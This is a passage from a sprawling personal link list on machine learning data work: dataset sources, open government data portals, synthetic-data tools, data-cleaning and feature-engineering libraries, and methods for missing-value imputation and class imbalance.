https://christopherzita.medium.com/how-to-download-google-images-using-python-2021-82e69c637d59 28)https://data.gov.in/ 29)imagenet dataset-http://www.image-net.org/ 30)https://parulpandey.com/2020/08/09/getting-datasets-for-data-analysis-tasks%e2%80%8a-%e2%80%8aadvanced-google-search/ 31)https://storage.googleapis.com/openimages/web/index.html , https://storage.googleapis.com/openimages/web/visualizer/index.html?set=train&type=segmentation&r=false&c=%2Fm%2F09qck https://console.cloud.google.com/marketplace/browse?filter=solution-type:dataset&_ga=2.35328417.1459465882.1589693499-869920574.1589693499 https://catalog.data.gov/dataset?groups=education2168#topic=education_navigation https://vincentarelbundock.github.io/Rdatasets/datasets.html 32)coco dataset https://cocodataset.org/#explore 33)huggingface datasets-https://github.com/huggingface/datasets https://huggingface.co./datasets https://huggingface.co./languages pip install datasets 34)Big Bad NLP Database-https://datasets.quantumstat.com/ fast.ai Datasets https://course.fast.ai/datasets https://github.com/niderhoff/nlp-datasets 600 NLP Datasets and Glory https://pub.towardsai.net/600-nlp-datasets-and-glory-4b0080bf5ab nlp-datasets https://github.com/karthikncode/nlp-datasets https://analyticsindiamag.com/15-most-important-nlp-datasets/ https://medium.com/ai-in-plain-english/25-free-datasets-for-natural-language-processing-57e407402c60 35)https://www.edureka.co/blog/25-best-free-datasets-machine-learning/ 36)bigquery public dataset ,Google Public Data Explorer https://cloud.google.com/public-datasets https://guides.library.cmu.edu/machine-learning/datasets 37)inbuilt library data eg:iris dataset,mnist dataset,etc... pandas-datareader https://github.com/pydata/pandas-datareader tf.data.Datasets for TensorFlow Datasets 38)https://data.gov.sg/ https://data.gov.au/ https://data.europa.eu/euodp/en/data https://data.europa.eu/euodp/en/data https://data.govt.nz/ data.gov.be ,data.egov.bg/ ,data.gov.cz/english ,portal.opendata.dk,govdata.de,opendata.riik.ee,data.gov.ie,data.gov.gr,datos.gob.es,data.gouv.fr,data.gov.hr dati.gov.it,data.gov.cy,opendata.gov.lt,data.gov.lv,data.public.lu,data.gov.mt,data.overheid.nl,data.gv.at,danepubliczne.gov.pl,dados.gov.pt,data.gov.ro,podatki.gov.si data.gov.sk,avoindata.fi,oppnadata.se,https://data.adb.org/ ,https://data.iadb.org/ ,https://www.weforum.org/agenda/2018/03/latin-america-smart-cities-big-data/ https://data.fivethirtyeight.com/ , https://wiki.dbpedia.org/ ,https://www.europeandataportal.eu/en ,https://data.europa.eu/ ,https://www.census.gov/, https://www.who.int/data/gho ,https://data.unicef.org/open-data/ ,http://data.un.org/ ,https://data.oecd.org/ ,https://data.worldbank.org/ 39.Awesome Public Dataset- https://github.com/awesomedata/awesome-public-datasets Get OpenML’s Dataset in One Line of Code https://mathdatasimplified.com/2021/04/23/fetch_openml-get-openmls-dataset-in-one-line-of-code/ https://github.com/the-pudding/data datasets https://github.com/benedekrozemberczki/datasets kdnuggets https://www.kdnuggets.com/datasets/index.html Hub https://github.com/activeloopai/Hub 40.Datasets for Machine Learning on Graphs-https://ogb.stanford.edu/ 41.https://www.johnsnowlabs.com/data/ 42.30 largest tensorflow datasets-https://lionbridge.ai/datasets/tensorflow-datasets-machine-learning/ 43. coco dataset-https://cocodataset.org/#home flickr-downloader https://github.com/renatoviolin/flickr-downloader/ Google Open images-https://opensource.google/projects/open-images-dataset https://storage.googleapis.com/openimages/web/index.html 50+ Object Detection Datasets-https://medium.com/towards-artificial-intelligence/50-object-detection-datasets-from-different-industry-domains-1a53342ae13d 70+ Image Classification Datasets from different Industry domains-https://medium.com/towards-artificial-intelligence/70-image-classification-datasets-from-different-industry-domains-part-2-cd1af6e48eda VisualData Discovery https://www.visualdata.io/discovery https://guides.library.cmu.edu/machine-learning/datasets data https://storage.googleapis.com/openimages/web/visualizer/index.html?c=%2Fm%2F04yqq2&r=false&set=train&type=segmentation&utm_campaign=Weekly%20Machine%20Learning%20news&utm_medium=email&utm_source=Revue%20newsletter VisualData https://www.visualdata.io/discovery bifrost- https://datasets.bifrost.ai/ satellite images https://towardsdatascience.com/finding-satellite-images-for-your-data-science-project-888695361925 https://public.roboflow.com/ https://www.visualdata.io/discovery http://www.image-net.org/ https://www.cs.toronto.edu/~kriz/cifar.html tensorflow_datasets.object_detection - https://storage.googleapis.com/openimages/web/index.html https://github.com/google-research-datasets/Objectron/ https://ai.googleblog.com/2020/11/announcing-objectron-dataset.html?m=1 http://idd.insaan.iiit.ac.in/ http://database.mmsp-kn.de/koniq-10k-database.html https://ai.googleblog.com/2020/11/announcing-objectron-dataset.html https://www.visualdata.io/discovery https://blogs.bing.com/maps/2019-03/microsoft-releases-12-million-canadian-building-footprints-as-open-data https://blogs.bing.com/maps/2019-09/microsoft-releases-18M-building-footprints-in-uganda-and-tanzania-to-enable-ai-assisted-mapping https://datasets.bifrost.ai/ https://storage.googleapis.com/openimages/web/download.html https://computervisiononline.com/datasets http://yacvid.hayko.at/ https://www.cogitotech.com/use-cases/biodiversity/ ImageNet data -http://image-net.org/ ApolloScape Dataset-http://apolloscape.auto/ https://github.com/chrieke/awesome-satellite-imagery-datasets 44.https://github.com/fivethirtyeight/data 45.Recommender Systems Datasets-https://cseweb.ucsd.edu/~jmcauley/datasets.html 46.indiadataportal-https://indiadataportal.com/ 47.US Government Open Dataset: https://www.data.gov/ https://censusreporter.org/ https://data.census.gov/cedsci/ 48.AWS Public Data Sets:https://registry.opendata.aws/ https://aws.amazon.com/opendata/?wwps-cards.sort-by=item.additionalFields.sortDate&wwps-cards.sort-order=desc 49.https://the-eye.eu/public/AI/pile_preliminary_components/ Reddit -https://www.reddit.com/r/datasets/ wikipedia-https://en.wikipedia.org/wiki/List_of_datasets_for_machine-learning_research http://opendata.cern.ch/ , https://www.imf.org/en/Data Global Health Observatory data repository-https://apps.who.int/gho/data/node.main CERN Open Data Portal-http://opendata.cern.ch/ TensorFlow Datasets https://www.tensorflow.org/datasets 50.openblender- https://www.openblender.io/#/welcome 51.Top 10 Datasets For Cybersecurity Projects- https://analyticsindiamag.com/top-10-datasets-for-cybersecurity-projects/ 52.Datasets from Web Crawl Data (nlp)-http://data.statmt.org/cc-100/ 53.https://www.springboard.com/blog/free-public-data-sets-data-science-project/ 54.NASA - https://nasa.github.io/data-nasa-gov-frontpage/ace 55.Academic Torrents,GitHub Datasets,CERN Open Data Portal,Global Health Observatory Data Repository 56.32 Data Sets to Uplift your Skills in Data Science-https://blog.datasciencedojo.com/data-sets-data-science-skills/?utm_content=144243072&utm_medium=social&utm_source=linkedin&hss_channel=lcp-3740012 https://lionbridge.ai/datasets/the-50-best-free-datasets-for-machine-learning/ 57.OpenDaL-https://opendatalibrary.com/ Data Is Plural-https://docs.google.com/spreadsheets/d/1wZhPLMCHKJvwOkP4juclhjFgqIY8fQFMemwKL2c64vk/edit#gid=0 VisualData-https://www.visualdata.io/discovery https://medium.com/towards-artificial-intelligence/best-datasets-for-machine-learning-data-science-computer-vision-nlp-ai-c9541058cf4f 58.Pandas Data Reader-https://pandas-datareader.readthedocs.io/en/latest/remote_data.html 59.ieee-dataport-https://ieee-dataport.org/datasets https://medium.com/towards-artificial-intelligence/best-datasets-for-machine-learning-data-science-computer-vision-nlp-ai-c9541058cf4f https://github.com/neomatrix369/awesome-ai-ml-dl/blob/master/data/datasets.md#datasets-and-sources-of-raw-data 60.Generating Realistic Fake Data https://towardsdatascience.com/free-resources-for-generating-realistic-fake-data-da63836be1a8 Full Synthetic Data ,Partial Synthetic Data,Hybrid Synthetic Data Faker is a Python package that generates fake data-https://github.com/joke2k/faker ydata-synthetic,Gretel,gretel-synthetics,GenerateData,DataSynthesizer,SDV,SDGym,SDMetrics,Copulas,gretel-synthetics,kubric,CTGAN,Synthea,synthia,nbsynthetic ,pydbgen,synthpop,faker,Tonic,ydata,Mostly AI,Mirry.ai,Hazy,Gretel,Diveplane,Datagen,Mimesis,faker,FauxFactory,Radar,PikaAccelario,Chooch,Datagen,Datomize,Deep Vision Data,Monitaur,MOSTLY AI,OpenSynthetics,Replica Analytics,Scale AI,SKY ENGINE AI,Synthesis AI,Plaitpy,TimeseriesGenerat,Accelario,Chooch,dgutils,AI.Reverie,Kinetic Vision,SynthDet,OpenSynthetics,Mockaroo,GenerateData,JSON Schema Faker,FakeStoreAPI,Mock Turtle,nbsynthetic,AiFi,AI.Reverie,Anyverse,Cvedia,DataGen,Diveplane,Gretel,Hazy,Mostly AI,OneView,TRGD,YDATA Synthetic,SDV,Tonic.AI,Mostly.AI,Parallel Domain,Mindtech,Synthesis AI,Oneview,Hazy,CVEDIA,SKY ENGINE AI,Edgecase.ai,Statice,ANYVERSE,Rendered.ai,Datomize,Facteus,Gretel,Synthesized,Syntheticus,Syntho,Tonic, kubric,Stable Diffusion,Parallel Domain,Mindtech,Synthesis AI,Oneview,MOSTLY AI,Hazy,CVEDIA,SKY ENGINE AI,Edgecase.ai,Statice,ANYVERSE,Rendered.ai,Datomize,Facteus,Gretel,Synthesized,Syntheticus,Syntho,Tonic,MOSTLY AI, GenRocket, YData, Hazy, and MDClone ,Gretel, MOSTLY AI, Hazy, Statice ,NVIDIA Omniverse, OneView, CVEDIA, Datagen, Parallel Domain,Infinity AI,Parallel Domain,Rendered.AI,Scale.AI,SKY ENGINE AI,Synthesis AI,Paella,statice,DataSynthesizer,Pydbgen,TimeseriesGenerator,Mimesis,Synthesized,Syntheticus,Syntho,Tonic,Clearbox AI ,RDT (Reversible Data Transforms),DeepEcho Models: GANs, CTGAN, WGAN, WGAN-GP, VAEs,GANs, TimeGAN, AR GAN-based Deep Learning data synthesizer CTGAN,CopulaGAN,Synthetic Data Vault,Probabilistic AutoRegressive model Extract the metadata using DataDescriber, Compare the input and synthetic data using ModelInspector Mockaroo https://www.mockaroo.com/ GenerateData https://site.generatedata4.com/ JSON Schema Faker https://json-schema-faker.js.org/ FakeStoreAPI https://fakestoreapi.com/ graviti dataset https://gas.graviti.com/open-datasets Synthetic data for computer vision https://github.com/ZumoLabs/zpy GANs for Tabular Synthetic Data Generation https://github.com/Diyago/GAN-for-tabular-data Synthetic Image Datasets https://analyticsindiamag.com/unity-launches-synthetic-image-datasets-to-train-ai-models-faster/ Synthetic structured data generators https://github.com/ydataai/ydata-synthetic gretel Synthetic Data API https://gretel.ai/ Timeseries DGAN https://synthetics.docs.gretel.ai/en/latest/models/timeseries_dgan.html DatasetGAN: an automatic procedure to generate massive datasets of high-quality images Generating synthetic tabular data with GANs,Synthetic Time-Series Data by A GAN approach Unity Launches Synthetic Image Datasets https://www.marktechpost.com/2021/04/23/unity-launches-synthetic-image-datasets-to-train-ai-and-computer-vision-models-faster/ Generate Your Own Dataset using GAN https://www.analyticsvidhya.com/blog/2021/04/generate-your-own-dataset-using-gan/ accurate of synthetic data https://gretel.ai/blog/how-accurate-is-my-synthetic-data Synthetic data library https://github.com/finos/datahub https://github.com/agmmnn/awesome-blender https://opendata.blender.org/ https://www.youtube.com/watch?v=eZwOeBkLL8E https://www.kdnuggets.com/2019/09/scikit-learn-synthetic-dataset.html Fully Synthetic Data,Partially Synthetic Data ,Hybrid Synthetic Data https://towardsdatascience.com/synthetic-data-key-benefits-types-generation-methods-and-challenges-11b0ad304b55 Synthetic Image Datasets https://analyticsindiamag.com/unity-launches-synthetic-image-datasets-to-train-ai-models-faster/ https://dockship.io/articles/607847e461373d1b994cc2dc/create-synthetic-images-using-opencv-(python) gretel-synthetics Synthetic data generators for structured and unstructured text, featuring differentially private learning. https://github.com/gretelai/gretel-synthetics Synthetic Data Generation Using Gaussian Mixture Model https://deepnote.com/@chanakya-vivek-kapoor/Synthetic-Data-Generation-QaaTRs73T2iCb0amHFbwpQ Synthetic Data Vault https://analyticsindiamag.com/guide-to-synthetic-data-vault-an-ecosystem-of-synthetic-data-generation-libraries/ https://github.com/sdv-dev/SDV Create Your own Image Dataset using Opencv https://www.analyticsvidhya.com/blog/2021/05/create-your-own-image-dataset-using-opencv-in-machine-learning/ ydata-synthetic https://github.com/ydataai/ydata-synthetic Table Evaluator About Evaluate real and synthetic datasets with each other https://github.com/Baukebrenninkmeijer/table-evaluator evaluate quality and efficacy of synthetic datasets SDMetrics https://github.com/sdv-dev/SDMetrics 61.Text Data Annotator Tool - Datasaur https://datasaur.ai/ Tagalog is our state-of-the-art solution for data management and labeling in Natural Language Processing https://www.tagalog.ai/tagalog/ 62.Google Analytics cost data import https://segmentstream.com/google-analytics?utm_source=twitter&utm_medium=cpc&utm_campaign=ga_costs_import_en&utm_content=guide 63.https://lionbridge.ai/services/crowdsourcing/ https://lionbridge.ai/ https://www.clickworker.com/ https://appen.com/ https://www.globalme.net/ 64.Azure Open Datasets https://azure.microsoft.com/en-us/services/open-datasets/ https://azure.microsoft.com/en-in/services/open-datasets/catalog/ Yelp Open Dataset https://www.yelp.com/dataset https://data.world/ ODK Open Data Kit- https://getodk.org/ World Bank Open Data https://data.worldbank.org/ https://analyticsindiamag.com/10-biggest-data-breaches-that-made-headlines-in-2020/ https://data.mendeley.com/ https://github.com/iamtekson/geospatial-data-download-sites https://eugeneyan.com/writing/data-discovery-platforms/ 65.https://medium.com/towards-artificial-intelligence/best-datasets-for-machine-learning-data-science-computer-vision-nlp-ai-c9541058cf4f https://towardsdatascience.com/data-repositories-for-almost-every-type-of-data-science-project-7aa2f98128b https://github.com/MTG/freesound-datasets https://dataform.co/ https://github.com/rfordatascience/tidytuesday https://www.youtube.com/watch?v=vCBeGLpvoYM https://www.analyticsvidhya.com/blog/2020/12/top-15-datasets-of-2020-that-every-data-scientist-should-add-to-their-portfolio/?utm_source=linkedin&utm_medium=AV|link|high-performance-blog|blogs|44181|0.375 https://cseweb.ucsd.edu/~jmcauley/datasets.html 66.https://en.wikipedia.org/wiki/List_of_datasets_for_machine-learning_research https://archive.org/details/datasets https://commoncrawl.org/ https://www.youtube.com/watch?v=1aUt8zAG09E 67. 6 Sources of Financial Data https://medium.datadriveninvestor.com/financial-data-431b75975bb yfinance for finance data using https://github.com/ranaroussi/yfinance https://medium.com/towards-artificial-intelligence/algorithmic-trading-with-python-and-machine-learning-part-1-47c56706c182 import fix_yahoo_finance as yf , yahoofinancials ,Pandas DataReaders,Twelve Data financeapi https://towardsdatascience.com/pull-and-analyze-financial-data-using-a-simple-python-package-83e47759c4a7 Investing.com pip install investpy ,Kite by Zerodha pip install kiteconnect,quandl pip install quandl https://www.analyticsvidhya.com/blog/2021/01/bear-run-or-bull-run-can-reinforcement-learning-help-in-automated-trading/?utm_source=feedburner&utm_medium=email&utm_campaign=Feed%3A+AnalyticsVidhya+%28Analytics+Vidhya%29 Downloading Historical Stock prices with Alpha Vantage https://medium.com/towards-artificial-intelligence/downloading-historical-stock-prices-with-alpha-vantage-688edad46a6d Pandas Datareader https://pandas-datareader.readthedocs.io/en/latest/ https://www.youtube.com/watch?v=f2BCmQBCwDs Get Financial Data Directly into Python https://www.quandl.com/tools/python https://medium.com/nerd-for-tech/how-to-get-financial-data-using-python-7a508f25fc39 openml https://www.openml.org/search?type=data https://registry.opendata.aws/ voice_datasets https://github.com/jim-schwoebel/voice_datasets Dynamically-Generated-Hate-Speech-Dataset https://github.com/bvidgen/Dynamically-Generated-Hate-Speech-Dataset 68.DOCANO, an open source text annotation tool https://github.com/doccano/doccano 69.https://www.dataquest.io/blog/free-datasets-for-projects/ 70.audio set https://research.google.com/audioset/ 71.FlatData Flat explores how to make it easy to work with data in git and GitHub https://octo.github.com/projects/flat-data?utm_campaign=Data_Elixir&utm_source=Data_Elixir_337 72.Snorkel is an open-source Python library for programmatically building training datasets without manual labeling. https://www.snorkel.org/ https://towardsdatascience.com/snorkel-programmatically-build-training-data-in-python-712fc39649fe ***2.Feature engineering*** https://towardsdatascience.com/practical-code-implementations-of-feature-engineering-for-machine-learning-with-python-f13b953d4bcd Feature-engine https://trainindata.medium.com/feature-engine-a-new-open-source-python-package-for-feature-engineering-29a0ab88ea7c https://feature-engine.readthedocs.io/en/latest/ https://github.com/solegalli/feature_engine https://www.datasciencecentral.com/profiles/blogs/feature-engine-python-package-for-feature-engineering Automated feature engineering https://medium.com/ibm-data-ai/automated-feature-engineering-for-relational-data-with-autoai-3612fafe9f89 Automated Data Wrangling https://catalyst.coop/2021/05/23/automated-data-wrangling/ Automatic Feature Engineering Using Featurewiz https://towardsdatascience.com/automate-your-feature-selection-workflow-in-one-line-of-python-code-3d4f23b7e2c4 https://github.com/AutoViML/featurewiz Automatic Feature Engineering Using AutoFeat https://analyticsindiamag.com/guide-to-automatic-feature-engineering-using-autofeat/ Upgini accuracy improving features https://github.com/upgini/upgini https://upgini.com/ Categorical Encoding https://github.com/scikit-learn-contrib/category_encoders lazytransform https://github.com/AutoViML/lazytransform Streamlining Feature Engineering Pipelines with Feature-engine https://towardsdatascience.com/streamlining-feature-engineering-pipelines-with-feature-engine-e781d551f470 https://feature-engine.readthedocs.io/en/latest/# Validate your Data (Schema) https://towardsdatascience.com/introduction-to-schema-a-python-libary-to-validate-your-data-c6d99e06d56a Validate Your pandas DataFrame with Pandera https://github.com/pandera-dev/pandera Statistical DataFrame Testing Toolkit https://pandera.readthedocs.io/en/stable/index.html Data storing format:Pickle,Parquet,Feather,Avro,ORC Data cleaning-Pyjanitor-https://analyticsindiamag.com/beginners-guide-to-pyjanitor-a-python-tool-for-data-cleaning/ data cleaning library https://www.analyticsvidhya.com/blog/2021/05/data-cleaning-libraries-in-python-a-gentle-introduction/ Mage https://github.com/mage-ai/mage-ai Cleaner Data Analysis with Pandas Using Pipes https://towardsdatascience.com/cleaner-data-analysis-with-pandas-using-pipes-4d73770fbf3c DataPrep https://dataprep.ai/ https://github.com/sfu-db/dataprep https://towardsdatascience.com/dataprep-v0-3-0-has-been-released-be49b1be0e72 Dora (pip library) - data cleaning Dora,PrettyPandas,DataCleaner,Tabulate,Pyjanitor,OpenRefine,cleanlab,pandera https://github.com/sfu-db/dataprep https://github.com/akanz1/klib https://www.bitrook.com/ https://github.com/rhiever/datacleaner https://github.com/johnkerl/miller cleanlab data-centric AI and machine learning with label errors, finding mislabeled data, and uncertainty quantification. Works with most datasets and models https://github.com/cleanlab/cleanlab cleantext https://www.youtube.com/watch?v=i2TjAgga1YU&feature=youtu.be CleanText: A Python Package to Clean Raw Text Data https://analyticsindiamag.com/guide-to-cleantext-a-python-package-to-clean-raw-text-data/ ATOM https://github.com/tvdboom/ATOM https://towardsdatascience.com/how-to-test-multiple-machine-learning-pipelines-with-just-a-few-lines-of-python-1a16cb4686d openrefine A free, open source, powerful tool for working with messy data https://openrefine.org/# data leaning library https://www.analyticsvidhya.com/blog/2021/05/data-cleaning-libraries-in-python-a-gentle-introduction/ https://machinelearningmastery.com/basic-data-cleaning-for-machine-learning/ Speed Up Data Cleaning and Exploratory Data Analysis in Python with klib https://github.com/akanz1/klib https://towardsdatascience.com/speed-up-your-data-cleaning-and-preprocessing-with-klib-97191d320f80 missingno https://github.com/ResidentMario/missingno Take the Pain Out of Data Cleaning for Machine Learning https://towardsdatascience.com/take-the-pain-out-of-data-cleaning-for-machine-learning-20a646a277fd dabl https://ms-bharti.medium.com/jump-start-your-supervised-learning-task-with-dabl-e479323e81fe Easy to use Python library of customized functions for cleaning and analyzing data https://github.com/akanz1/klib PyOD https://pyod.readthedocs.io/en/latest/ https://github.com/yzhao062/pyod/blob/development/docs/index.rst https://towardsdatascience.com/how-to-detect-outliers-with-python-pyod-aa7147359e4b Amazon’s New Visual Data Cleaning Tool Can Speed Up Your AI Projects https://medium.com/dataseries/how-amazons-new-visual-data-tool-can-speed-up-your-ai-projects-68e3289382c Featuretools https://www.featuretools.com/ https://towardsdatascience.com/why-automated-feature-engineering-will-change-the-way-you-do-machine-learning-5c15bf188b96 https://github.com/alteryx/featuretools https://analyticsindiamag.com/introduction-to-featuretools-a-python-framework-for-automated-feature-engineering/ Feature Selection using Genetic Algorithm https://github.com/kaushalshetty/FeatureSelectionGA AutoFeat https://analyticsindiamag.com/guide-to-automatic-feature-engineering-using-autofeat/ https://github.com/cod3licious/autofeat feast Feature Store for Machine Learning https://github.com/feast-dev/feast https://www.youtube.com/watch?v=ZeJdr0nZ9PA Category Encoders https://contrib.scikit-learn.org/category_encoders/ Feature-engine https://feature-engine.readthedocs.io/en/latest/index.html FeatureTools,AutoFeat,TsFresh,Cognito,OneBM,ExploreKit,PyFeat,Category Encoders,Feature-engine Automated Feature Selection: Featurewiz https://github.com/AutoViML/featurewiz https://towardsdatascience.com/featurewiz-fast-way-to-select-the-best-features-in-a-data-9c861178602e zoofs a Python library for performing feature selection https://github.com/jaswinder9051998/zoofs Feature Engineering of DateTime Variables for Data Science, Machine Learning https://www.kdnuggets.com/2021/04/feature-engineering-datetime-variables-data-science-machine-learning.html NeatText a simple NLP package for cleaning textual data and text preprocessing https://github.com/Jcharis/neattext Remove duplicate data in dataset,Data validity check,Contaminated Data,Inconsistent Data,Invalid Data, Feature Selection 1.Removal of arbitraty features: DropFeatures Removing unused columns,Removing Constant features,Removing Constant Features using VarianceThreshold,Removing Quasi-Constant Features,Removing Duplicate Columns 2.Removal of constant and almost constant features: DropConstantFeatures Removal of Low Variance removal of irrelevant data 3.Removal of duplicated variables: DropDuplicateFeatures 4.Removal of correlated features: DropCorrelatedFeatures, SmartCorrelatedSelection Drop features that have a poor correlation with the response variable 5.Selection of features by value shuffling: SelectByShuffling Selection of features by High correlation with the target variable 6.Selection of features by univariate performance: SelectBySingleFeaturePerformance 7.Selection of features by target encoding: SelectByTargetMeanPerformance 8.Recursive Feature Elimination: RecursiveFeatureElimination 9.Recursive Feature Addition: RecursiveFeatureAddition stats,Scipy,Pingouin,Statsmodels,SymPy,Sage, StatisticsGen component computes statistics Check data types , Handle duplicate values a.Handle missing value Types of missing value https://datamuni.com/@atsunorifujita/missing-value-imputation-using-datawig Handling Missing Values in Pandas https://pub.towardsai.net/handling-missing-values-in-pandas-f87cec928937 Identify the source of missing data i.missing completely at random(no correlation b/w missing and observed data) we can delete no disturbance of data distribution ii.missing at random (randomness in missing data, missing value have correlation by data) we can't delete because disturbance of data distribution iii.missing not at random (there is reason for missing value and directly related to value) iv.structured missing 100 % sure on why it is missing Identify Missingness Types With Missingno https://towardsdev.com/how-to-identify-missingness-types-with-missingno-61cfe0449ad9 Univariate,Multivariate https://medium.com/fintechexplained/what-are-imputers-in-data-science-b72f8308322b univariate imputation impute on 1 column multi variate imputation impute on 1 or more column 1.if missing data too small then delete it a.row deletion b.column deletion c.pairwise deletion and listwise deletion Drop based on a threshold value,Drop using a subset of columns 2.replace by statistical method mean(influenced by outiler),median(not influenced by outiler),mode , minimum, maximum,Zero,Constant Fill with Mean / Median of Column or Group Forward Fill or Forward Fill within Groups Mean and Median Fill with Groupby Pass another DataFrame to fillna function to fill up the missing values. Similar case Imputation 3.apply classifier algorithm to predict missing value Using Algorithms that support missing values Imputation using Deep Learning Library — Datawig https://github.com/awslabs/datawig 4.Simple Imputer,and Multiple Imputation ,Iterative imputer,knn imputer, multivariate imputation, Verstack — NaNImputer,Impyute —MICE ,Substitution 5.apply unsupervised 6.Random Imputation,Iterative Imputation,Random Sample imputation 7.Adding a variable to capture NAN(missing term),Imputation with the string ‘Missing’,Adding missing idicator 8.Arbitrary Value Imputation TREAT MISSING VALUES AS A SEPARATE CATEGORY ue DOMAIN KNOWLEDGE 9.hot deck Imputation,Cold deck imputation 10.regression Imputation,Stochastic Regression Imputation,Interpolation and Extrapolation 11.End of Distribution Imputation 12.Arbitrary Value Imputation 13.Frequent Category Imputation 14.MICE Imputation,miceforest ( https://github.com/AnotherSamWilson/miceforest ) Miss Forest https://github.com/stekhoven/missForest 15.interpolation https://www.analyticsvidhya.com/blog/2021/06/power-of-interpolation-in-python-to-fill-missing-values/ Interpolate or Interpolate within Groups LINEARINTERPOLATION ,POLYNOMIALINTERPOLATION,INTERPOLATION THROUGH PADDING Extrapolation and Interpolation ,Time-Based Interpolation,Spline Interpolation,Linear Interpolation,Smoothing, interpolation,Bidirectional Recurrent Imputation for Time Series ( 16.Last Observation Carried Forward (LOCF) , Next Observation Carried Backward , Rolling Statistics, Interpolation Single and Multiple Imputation,Univariate Imputation,Multivariate Imputation ,Iterative Imputer,MissForest Imputation,Stochastic Regression Imputation, Multiple Imputations, Datawig, Hot-Deck imputation, Extrapolation, Interpolation datawig Imputation of missing values in tables https://github.com/awslabs/datawig Imputation using K-NN,missForest,Random Forest-based Imputation,missingpy,som,Ann,mlp Model based procedure gaussian mixture model Imputation Using Deep Learning (Datawig),neural network for imputation,BRITS 15.autoimpute-https://github.com/kearnz/autoimpute 16.bfill / ffill Back Fill or Back Fill within Groups 17.Adding a variable to capture NAN 18.replace NAN with a new category 19.Missing indicator After drop or imputation feature distribution should be same https://www.kdnuggets.com/2021/05/deal-with-categorical-data-machine-learning.html https://towardsdatascience.com/6-different-ways-to-compensate-for-missing-values-data-imputation-with-examples-6022d9ca0779 https://stefvanbuuren.name/fimd/want-the-hardcopy.html https://www.datasciencecentral.com/profiles/blogs/how-to-treat-missing-values-in-your-data-1 20.Imputation with the string ‘Missing’ ,Addition of binary missing indicators 21.Algorithms robust to missing values - LightGBM datawig imputation https://github.com/awslabs/datawig 22.Cluster-based approach for missing value imputation Naive clustering,Column-sensitive clustering Top Data Cleaning Tools https://www.marktechpost.com/2022/02/20/top-data-cleaning-tools-for-data-science-and-machine-learning-projects-in-2022/ OpenRefine https://openrefine.org/ https://github.com/OpenRefine/OpenRefine Data Ladder https://dataladder.com/ re-data fix data issues https://github.com/re-data/re-data Automatically find and fix errors in your ML datasets. https://github.com/cleanlab/cleanlab Clean APIs for data cleaning https://github.com/pyjanitor-devs/pyjanitor datacleaner https://github.com/rhiever/datacleaner https://github.com/akanz1/klib https://pyjanitor-devs.github.io/pyjanitor/ https://dataprep.ai/ https://scrubadub.readthedocs.io/en/latest/index.html https://www.bitrook.com/ AutoClean https://github.com/elisemercury/AutoClean Dora,PrettyPandas,DataCleaner,Tabulate,Pyjanitor b.Handle imbalance Collect More Data if possible,Try Resampling Your Dataset 1.Under Sampling - mostly not prefer because lost of data imbalaced-learn,tomek links,Random Under-Sampling, Edited Nearest Neighbours,NearMiss Random majority under-sampling with replacement,Tomek Links Undersampling,Under-sampling with Cluster Centroids,Condensed Nearest Neighbour,One-Sided Selection,Neighboorhood Cleaning Rule,One-Sided Selection, 2.Over Sampling (RandomOverSampler (here new points create by same dot)) , SMOTETomek(new points create by nearest point so take long time),BorderLine Smote,Borderline-SMOTE SVM,FAIR SMOTE,DBSMOTE,SMOTE-ENN ,KMeans Smote,SVM Smote,SMOTe NC,ENNSMOTE,SVMSMOTE,MOTE-N ADASYN,ADASYN,Smote-NC,Random Over Sampling,RandomUnderSampler,SMOTEN,SMOTE-Tomek,SMOTE-ENN,SMOTE-CUT,Cluster-Based Over Sampling, Informed Over Sampling,MSMOTE,Oversampling Using Gaussian Mixture Models,SMOTE + Tomek Links, SMOTE + ENN,Crucio SMOTEENN,NearMiss,OSS & NCR — under sampling,Borderline SMOTE KNN,Borderline SMOTE SVM,Adaptive Synthetic Sampling (ADASYN),BalancedBaggingClassifier() , BalancedRandomForestClassifier SMOTE-NC Over-sampling followed by under-sampling : SMOTE + Tomek links,SMOTE + ENN smote_variants https://github.com/analyticalmindsltd/smote_variants https://towardsdatascience.com/5-smote-techniques-for-oversampling-your-imbalance-data-b8155bdbe2b5 https://www.analyticsvidhya.com/blog/2017/03/imbalanced-data-classification/ ensmble based -Bagging Based techniques, Boosting-Based techniques,Adaptive Boosting- Ada Boost techniques,Gradient Tree Boosting,XG Boost tools Imb-learn,SMOTE-Variants,Regression-ReSampling https://towardsdatascience.com/tools-to-handle-class-imbalance-bff20c3bf099 Balancing data sets with Crucio ADASYN https://medium.com/softplus-publication/balancing-data-sets-with-crucio-adasyn-79f04ff0779d LoRAS: A Better Oversampling Algorithm https://analyticsindiamag.com/hands-on-guide-to-loras-a-better-oversampling-algorithm/ https://github.com/narek-davtyan/LoRAS https://towardsdatascience.com/7-over-sampling-techniques-to-handle-imbalanced-data-ec51c8db349f Combining Over and Under-sampling 3.class_weight give more importance(weight) to that small class ( Cost-Sensitive Algorithms) from sklearn import compute_class_weight Cost-sensitive learning,Class-balanced loss,Focal loss weighted loss function 4.use Stratified kfold to keep the ratio of classess constantly, train teat spilt startify attribute Use K-fold Cross-Validation in the Right Way,Stratified Cross Validation,repeated K-fold Cross-Validation,Stratified K-fold Cross-Validation Stratified Sampling,Stratified splits 5.Weighted Neural Network cluster based sampling 6.MESA https://analyticsindiamag.com/guide-to-mesa-boost-ensemble-imbalanced-learning-with-meta-sampler/ 7.choose Proper Evaluation Metric metric roc,f1,etc... https://machinelearningmastery.com/framework-for-imbalanced-classification-projects/ https://www.kdnuggets.com/2020/01/5-most-useful-techniques-handle-imbalanced-datasets.html 8.Deep Imbalanced Regression https://github.com/YyzHarry/imbalanced-regression https://analyticsindiamag.com/deep-imbalanced-regression-complete-guide/ Imbalanced Dataset Sampler https://github.com/ufoym/imbalanced-dataset-sampler 9.Ensemble Techniques ensemble techinque - Bagging Based techniques,Boosting-Based techniques BalancedBaggingClassifier,Threshold moving,Easy Ensemble classifier,Balanced Random Forest,Balanced Bagging,RUSBoost,MESA 10.Try Different Algorithms (ensemble techinque - Bagging Based techniques,Boosting-Based techniques) model based (some models are particularly suited for imbalanced dataset) Algorithmic Ensemble Techniques,Tree-Based Algorithms 11.Try a Different Perspective ( consider as anomaly detection or change detection) Threshold Moving Methods,One-Class Classification,Customised Ensemble Algorithms Probability Tuning Algorithms,Calibrating Probabilities,Tuning the Classification Threshold 12.databalancer https://github.com/pradeepdev-1995/databalancer 13.collect more data 14.treat problem as anomaly detection 15.Combined Class Methods In this type of method, various methods are fused together to get a better result to handle imbalance data. For instance, like SMOTE can be fused with other methods like MSMOTE (Modified SMOTE), 